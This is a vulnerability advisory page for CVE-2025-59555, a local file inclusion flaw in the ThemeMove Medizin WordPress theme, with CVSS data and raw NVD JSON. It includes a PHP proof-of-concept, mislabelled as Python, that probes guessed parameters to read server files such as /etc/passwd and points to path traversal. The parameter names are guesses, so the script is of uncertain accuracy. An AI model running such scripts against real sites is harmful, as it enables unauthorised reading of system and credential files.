Security Vulnerability Report
中文
CVE-2025-59555 CVSS 8.1 HIGH

CVE-2025-59555

Published: 2025-10-22 15:15:54
Last Modified: 2026-01-29 14:39:45

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Medizin medizin allows PHP Local File Inclusion.This issue affects Medizin: from n/a through < 1.9.7.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thememove:medizin:*:*:*:*:*:wordpress:*:* - VULNERABLE
ThemeMove Medizin < 1.9.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-59555 PoC - ThemeMove Medizin LFI // Usage: php poc.php <target_url> <file_path> if ($argc < 3) { echo "Usage: php poc.php <target_url> <file_path>\n"; echo "Example: php poc.php http://target.com /etc/passwd\n"; exit(1); } $target = rtrim($argv[1], '/'); $file = $argv[2]; // Common vulnerable parameters in Medizin theme $vulnerable_params = [ 'template', 'page_template', 'file', 'path', 'view', 'action' ]; echo "[*] CVE-2025-59555 PoC - Medizin Theme LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] File to read: {$file}\n\n"; foreach ($vulnerable_params as $param) { $url = "{$target}/?{$param}={$file}"; echo "[*] Testing parameter: {$param}\n"; echo "[*] URL: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Possible file contents:\n"; echo substr($response, 0, 500) . "\n"; echo "[+] Parameter {$param} might be vulnerable!\n\n"; } } echo "[*] Testing with path traversal: {$target}/?template=../../../../{$file}\n"; // Additional path traversal variants can be tested

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59555", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:53.977", "lastModified": "2026-01-29T14:39:44.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Medizin medizin allows PHP Local File Inclusion.This issue affects Medizin: from n/a through < 1.9.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thememove:medizin:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.9.7", "matchCriteriaId": "7BA48938-E0D2-4504-873E-74FBFD6C5154"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/medizin/vulnerability/wordpress-medizin-theme-1-9-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}